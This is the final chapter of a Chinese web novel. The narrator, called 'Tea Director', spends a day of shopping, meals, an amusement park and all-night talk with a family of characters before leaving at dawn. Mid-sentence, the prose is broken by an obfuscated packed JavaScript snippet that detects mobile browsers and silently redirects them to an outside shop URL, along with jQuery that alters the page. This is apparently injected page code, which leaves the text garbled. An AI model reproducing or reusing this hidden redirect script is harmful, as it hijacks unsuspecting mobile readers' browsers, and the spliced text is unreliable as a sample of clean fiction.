沈淮穿着简单的白T恤牛仔裤,站在她旁边,两个人站在一起,怎么看怎么配。 昀昭换了身休闲装,戴着墨镜,像个明星。 昀启和昀衍走在后面,一个穿花衬衫,一个穿白衬衫,像两个世界的人。 薛明还是一身黑,周文跟在他旁边,叽叽喳喳地说着什么。 阿蘅拉着乌恩的手,两个人嘀嘀咕咕的。 默延被昀宁牵着,小短腿倒腾得飞快。 一群人浩浩荡荡地出发了。 商场很大,五层楼,什么都有。 昀启直奔男装区。 昀衍跟着他,说是帮他挑衣服,其实就是去看笑话。 昀昭去买咖啡。 薛明和周文去看电子产品。 阿蘅拉着乌恩去看化妆品。 昀宁和沈淮带着默延,慢慢逛着。 我跟在后面,看着他们。 忽然,默延回过头。 “茶姐姐,你走快一点!” 我笑着跑上去。 逛了一圈,大家在咖啡厅集合。 昀启提了好几个袋子,脸上带着得意的笑。 昀衍两手空空,但笑得比昀启还开心。 昀昭端着几杯咖啡,一人一杯。 薛明和周文在研究新买的耳机。 阿蘅和乌恩在讨论口红色号。 昀宁和沈淮坐在一起,默延趴在他们中间,用小勺挖冰淇淋吃。 我端着咖啡,看着他们。 忽然,我听见旁边有人小声议论。 “你看那家人,好幸福啊。” “是啊,兄弟姐妹这么多,关系还这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316929|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” “那对夫妻好般配,孩子也可爱。” “那老头是谁?穿得好花哨。” “可能是爷爷吧……” 我差点把咖啡喷出来。 昀启听见了,脸都绿了。 “谁爷爷?!我还不到四十!” 大家笑成一团。 昀衍笑得最开心。 “爷爷,您别生气。” 昀启瞪他。 “你等着。” 中午,大家在商场里找了家餐厅吃饭。 是一家川菜馆,红彤彤的,看着就辣。 昀宁看着满桌的辣椒,有些犹豫。 沈淮在她旁边小声说:“要不点个不辣的?” 昀宁摇摇头。 “试试吧。” 她夹了一块水煮鱼,放进嘴里。 然后,她的脸红了。 不是害羞,是辣的。 她端起水杯,一口气喝了大半杯。 默延在旁边看着,眨巴眨巴眼睛。 “阿娘,你没事吧?” 昀宁放下杯子,摇摇头。 “没事。” 她继续吃。 吃一口,喝一口水。 吃一口,喝一口水。 但没停。 沈淮看着她,嘴角弯着。 “好吃吗?” 昀宁点点头。 “好吃。” 昀昭在旁边,忽然说。 “皇姐以前不吃辣的。” 昀宁看他一眼。 “那是以前。” 昀昭笑了。 “现在变了。” 昀宁说:“人都会变。” 她顿了顿,继续说。 “你也变了。” 昀昭沉默了一瞬。 然后他点点头。 “嗯,变了。” 沈淮在旁边,给昀宁倒了杯茶。 “喝点茶,解辣。” 昀宁接过来,喝了一口。 然后继续吃。 我看着他们,忽然觉得,这顿饭吃得真有意思。 吃完饭,大家继续逛。 下午的时候,去了游乐场。 默延兴奋得不行,拉着昀宁到处跑。 “阿娘!我要坐旋转木马!” “阿娘!我要坐小火车!” “阿娘!我要坐摩天轮!” 昀宁被他拉着,跑得气喘吁吁。 沈淮跟在后面,笑得不行。 昀昭站在旁边,看着他们。 我走过去,和他站在一起。 “不去玩吗?” 昀昭摇摇头。 “看着就行。” 他顿了顿,忽然说。 “茶导,你知道吗,我小时候也这样。” 我看着他。 昀昭说:“拉着皇姐,到处跑。让她陪我玩这个,陪我看那个。” 他笑了。 “那时候她可烦我了。但每次都陪我。” 我看着远处的昀宁。 她正抱着默延,坐旋转木马。 一圈一圈地转着,脸上带着笑。 “她现在也在陪。”我说。 昀昭点点头。 “嗯。” 他顿了顿,又说。 “所以,我挺知足的。” “那你现在和皇后怎么样了?有孩子了吗?” “你说那个姑娘啊,她根本不喜欢我,所以我把她送回家了。她现在只是个普通姑娘,我也不知道我这辈子还能不能遇到真爱了。” 那天晚上,大家在外面吃了晚饭,然后回家。 回到家,默延已经趴在昀宁肩上睡着了。 昀宁把他抱上楼,放在床上。 下来的时候,大家已经在客厅里坐着了。 阿蘅切了水果,沈淮泡了茶。 电视里放着综艺节目,吵吵闹闹的。 但没人看。 大家只是坐着,聊天,喝茶,吃水果。 我靠在沙发上,看着他们。 忽然,昀启开口。 “茶导,你写的那本书,我们看了。” 我愣了一下。 “你们看了?” 昀启点点头。 “看了。写得挺好。” 我看着他,有些不知道说什么。 昀启继续说。 “就是把我写得有点坏。” 昀衍在旁边说。 “你不就是那个样?” 昀启瞪他一眼。 昀宁笑了笑。 “茶导,别听他瞎说。我们都觉得写得挺好。” 我看着她。 “真的?” 昀宁点点头。 “真的。” 沈淮在旁边说。 “就是结局有点虐。” 我看着他,又看着昀宁。 “那个……我本来想写个圆满的结局的……” 昀宁摇摇头。 “不用。” 她说。 “那个结局,挺好的。” 沈淮握住了她的手。 我看着他们,忽然有些感动。 “那……你们想不想改一下?”我问。 昀宁想了想,说。 “不改。” 她说。 “那个结局,是我们。” 她顿了顿,继续说。 “现在这个,也是我们。” 她笑了。 “挺好的。” 那天晚上,大家聊到很晚。 聊以前的事,聊现在的事,聊以后的事。 昀启讲他炒股亏钱的糗事。 昀衍讲书店里的趣事。 昀昭讲他投资的项目。 薛明讲工地上发生的笑话。 周文讲法院里的奇葩案子。 阿蘅和乌恩讲她们逛街的见闻。 沈淮讲他学做饭的经历。 昀宁讲她开茶馆的日子。 默延不知道什么时候醒了,趴在楼梯上偷听,被昀宁发现,抱下来一起听。 大家笑着,闹着。 不知不觉,天快亮了。 我看看窗外泛白的天,忽然有些恍惚。 我来的时候,还是周六。 现在已经是周日了。 过了一天一夜。 可我一点都不觉得累。 “茶导,”昀宁忽然叫我,“困不困?” 我摇摇头。 “不困。” 她说:“那再坐会儿。” 我点点头。 大家继续坐着。 继续聊着。 窗外的天慢慢亮了。 太阳升起来,阳光照进来,落在地板上,金灿灿的。 默延窝在昀宁怀里,又睡着了。 阿蘅靠在薛明肩上,也睡着了。 乌恩趴在沙发上,睡得呼呼的。 昀启歪着头,打着鼾。 昀衍靠在椅背上,闭着眼睛。 周文蜷在角落里,睡得不省人事。 只有昀宁、沈淮、昀昭,还有我,还醒着。 昀宁看着窗外,忽然说。 “真好看。” 沈淮点点头。 “嗯。” 昀昭看着他们,忽然笑了。 “皇姐。” 昀宁回过头。 昀昭说:“谢谢你。” 昀宁愣了一下。 “谢什么?” 昀昭说:“谢谢你活着。” 昀宁沉默了一瞬。 然后她笑了。 “不客气。” 她说。 “也谢谢你。” 阳光越来越亮。 我看着他们三个人,坐在晨光里。 忽然觉得,这一刻,真好。 不管以前发生过什么。 不管以后会发生什么。 此刻,他们都在这儿。 在一起。 活着。 笑着。 这就够了。 我站起身。 “我该走了。” 昀宁也站起来。 “我送你。” 她送我到大门口。 沈淮和昀昭也跟出来。 站在门口,我回过头,看着他们。 “下次再来。”昀宁说。 我点点头。 “好。” 沈淮说:“下次来,给你做新菜。” 我笑了。 “行。” 昀昭说:“茶导,保重。” 我看着他。 “你也是。” 我转身往外走。 走到铁门口,我忽然停下脚步,回过头。 他们还站在那儿。 三个人,站在晨光里。 昀宁挥了挥手。 我也挥了挥手。 然后我转身,走了。 走出别墅区,我站在路边等车。 手机响了。 是昀宁发来的消息。 “茶导,路上小心。到了说一声。” 我回复:好。 车来了。 我上车,靠在座位上,看着窗外。 窗外的风景飞快地往后退。 我想着昨晚的事。 想着那些笑声,那些话,那些人。 想着昀宁说的那句话。 “雨没得选,但你有。” 我笑了。 是的。 我有。 选怎么活,选怎么爱,选怎么让自己不后悔。 就像他们选的那样。 车往前开。 阳光照进来,落在我身上,暖暖的。 我闭上眼睛。 耳边似乎还回响着他们的笑声。 真好。 【完】